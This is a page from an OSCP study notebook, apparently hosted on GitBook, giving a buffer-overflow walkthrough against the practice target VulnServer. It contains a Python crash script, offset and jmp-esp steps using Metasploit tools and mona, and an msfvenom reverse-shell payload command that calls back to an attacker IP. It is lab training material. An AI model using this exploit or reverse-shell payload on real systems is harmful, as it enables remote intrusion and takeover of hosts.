OSCP
  • All About OSCP
  • OSCP- One Page Repository
  • About the Author
  • Basic Linux & Windows Commands
    • Linux Commands
    • Windows
      • cmd
      • Powershell
      • Basics of windows
    • Linux / WindowsMain commands
    • Bash Scripting
  • Recon (Scanning & Enumeration)
    • Active Info Gathering
      • My Network Recon Checklist
      • My Web Recon Checklist
      • Network Enumeration
      • Port Scanning
    • Common Ports and Services
      • Other Services Enumeration
    • DNS Zone Transfer Attack
    • SNMP Enumeration
    • SMB Enumeration
    • Web Application Directory bruteforcing / fingerprinting
    • Port & Services Scanning
  • Web Application
    • My checklist
      • LFI
      • RFI
      • SQLI
    • File Upload bypass
    • Enumeration and Exploitation
    • No-Sql Injection
    • SQL Injection
    • Hidden Files and directories
    • RFI
    • LFI
  • Brute Force
    • Reuse the hash
    • Password Crack
  • Shells
    • Linux Reverse Shell [One liner]
    • Reverse Shell to fully interactive
    • Reverse Shell Cheat Sheet
    • WebShell
  • Transferring files
    • My Checklist
    • Transfer files on linux
  • Priv Escalation
    • Linux Priv Escalation
      • g0tmi1k linux privilege escalation
      • Privilege Escalation - Linux
      • Checklist - Linux Privilege Escalation
    • Windows Priv Escalation
      • Fuzzysecurity window priv escalation
      • Privilege Escalation - Windows
      • Checklist - Local Windows Privilege Escalation
  • Post Exploitation
    • Cover your tracks
    • Persistence
    • Loot Linux
    • Loot Windows
    • Escaping Restricted Shell
    • Meterpreter shell for post-exploitation
    • Spawn Shell
  • Pivoting
    • My Checklist for Pivoting
    • Tunneling and Port Forwarding
    • Pivotind understanding
  • Buffer Overflow
    • Buffer overflow
    • Buffer overflow Step by Step
      • Study about buffer overflow
      • Brainpan
      • VulnServer
      • Minishare
  • Main Tools
  • MISC
    • Exploit Compiling
  • CheatSheet (Short)
  • OSCP/ Vulnhub Practice learning
    • Machines Practice
    • My Practice on HTB Windows boxes
    • My Practice on Vulnhub boxes
    • Over the Wire (Natas)
    • Over The wire (Bandit)
Powered by GitBook
On this page

Was this helpful?

  1. Buffer Overflow
  2. Buffer overflow Step by Step

VulnServer

vulnserver

!/usr/bin/python

import socket import os import sys

host="ip" port=9999

buffer = "TRUN /.:/" + "A" * 5050

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM) expl.connect((host, port)) expl.send(buffer) expl.close()

Run the slmail server in the windows machine -> fuzz the application to crash -> we found it crashed in 5050 bytes -> then we need to check the offset -> actual value -> 
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5050 -> create a pattern -> then run the code in to python -> then we found the EIp value -> 386F4337 -> now need to check the offset -> /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 386F4337 -> pattern value we got 2003 -> now run the code with this offset code and check the application is crashed or not -> after crashing we need to check the bad character -> remove the bad character ->  ESP Follow dump -> after got bad character -> we need jmp esp value -> we will use mona module for this -> !mona modules -> check the DEP and ASLR False -> then pick this otherwise use mona command -> !mona find -s "\xff\xe4" -m essfunc.dll -> pick 1st one and reverse it ->77131EFD       # Address retrieved from Mona results -> \xFD\x1E\x13\x77   # How it looks in your final exploit -> now create a shell code ->  msfvenom -a x86 -platform Windows -p windows/shell_reverse_tcp LHOST=192.168.44.144 LPORT=4444 -e x86/shikata_ga_nai -b ‘\x00’ -f python -> add shell code in to python code and maintain the buffere value -> buffer = "TRUN /.:/" + "A" * 2003 + "\xFD\x1E\x13\x77" + "C" * 16 + buf -> run it -> boom

PreviousBrainpanNextMinishare

Last updated 4 years ago

Was this helpful?